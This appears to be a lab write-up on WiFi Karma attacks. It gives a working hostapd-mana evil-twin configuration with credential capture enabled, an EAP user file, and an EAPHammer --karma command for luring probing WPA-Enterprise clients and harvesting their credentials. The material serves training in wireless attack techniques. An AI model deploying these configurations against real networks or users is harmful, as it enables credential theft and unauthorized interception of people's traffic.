# Karma Attacks

## Mana

Two dual-band WiFi interfaces are available on the lab machine. A few WiFi clients are present in the vicinity of the lab machine and probing for different networks. It is known that the probed networks are using WPA-ENT security configuration.

Objective: Deploy an evil twin using Hostapd-mana which can perform Karma attack and make multiple clients join its network simultaneously. And, retrieve the credentials

Do the usual iw dev dance and check for netwoks with airodump-ng.

You can see that there are two clients probing

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2F1nmnDV3uD7HvRko0loNe%2Fimage.png?alt=media&#x26;token=c7d355c1-c8ab-4322-badd-d5076ca83d59" alt=""><figcaption></figcaption></figure>

Create the config file as per below:

```
interface=wlan1
ssid=FreeInternet
channel=6
hw_mode=g
wpa=3
wpa_key_mgmt=WPA-EAP
wpa_pairwise=TKIP CCMP
auth_algs=3
ieee8021x=1
eapol_key_index_workaround=0
eap_server=1
eap_user_file=hostapd.eap_user
ca_cert=/root/certs/ca.pem
server_cert=/root/certs/server.pem
private_key=/root/certs/server.key
private_key_passwd=
dh_file=/root/certs/dhparam.pem
mana_wpe=1
mana_eapsuccess=1
enable_mana=1
```

Create the user file:

```
* PEAP,TTLS,TLS,MD5,GTC
"t" TTLS-MSCHAPV2,MSCHAPV2,MD5,GTC,TTLS-PAP,TTLS-CHAP,TTLS-MSCHAP
"1234test" [2]
```

Start hostapd-mana with the config file and observer the client credentials in the log

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2F3C5qbXcTCxO6Ikzgjfxn%2Fimage.png?alt=media&#x26;token=ef1b1a1a-93d7-46e9-a072-e7b483f6a020" alt=""><figcaption></figcaption></figure>

## EAPHammer

Same iw dev dance as above.

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FYOZGQipLqTj8IIgxXrcg%2Fimage.png?alt=media&#x26;token=ad15e8b7-2b0c-41df-81ad-edd0ded53766" alt=""><figcaption></figcaption></figure>

## EAPHammer

Sam iw dev dance as above,  but this time start EAPHammer.

{% code overflow="wrap" %}

```
./eaphammer -i wlan1 --essid FreeInternet -c 1 --auth wpa-eap --karma
```

{% endcode %}

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FS9aqYovOTXaOuuaFY4g4%2Fimage.png?alt=media&#x26;token=f5034a88-7dfc-4808-9f21-16d1c89e2cae" alt=""><figcaption></figcaption></figure>

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FHKVi7Yp734PILnIA2L6k%2Fimage.png?alt=media&#x26;token=0c45ac2f-463a-4b6b-acee-04448359987f" alt=""><figcaption></figcaption></figure>

```
./eaphammer -i wlan1 --essid FreeInternet -c 1 --auth wpa-eap --karma
```

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FZ3ZGeZYD0NbhUq4u9EGn%2Fimage.png?alt=media&#x26;token=4b85001f-5c9a-49da-b3ed-691128c4bdb6" alt=""><figcaption></figcaption></figure>

Observe the clients creds in the log

<figure><img src="https://4086980315-files.gitbook.io/~/files/v0/b/gitbook-x-prod.appspot.com/o/spaces%2FGojWj3kMEToQRsLW6yU7%2Fuploads%2FuKClSYAdmOctdeQTKZSQ%2Fimage.png?alt=media&#x26;token=17b45ee8-bbc6-4905-b155-ba2a7c6e5278" alt=""><figcaption></figcaption></figure>
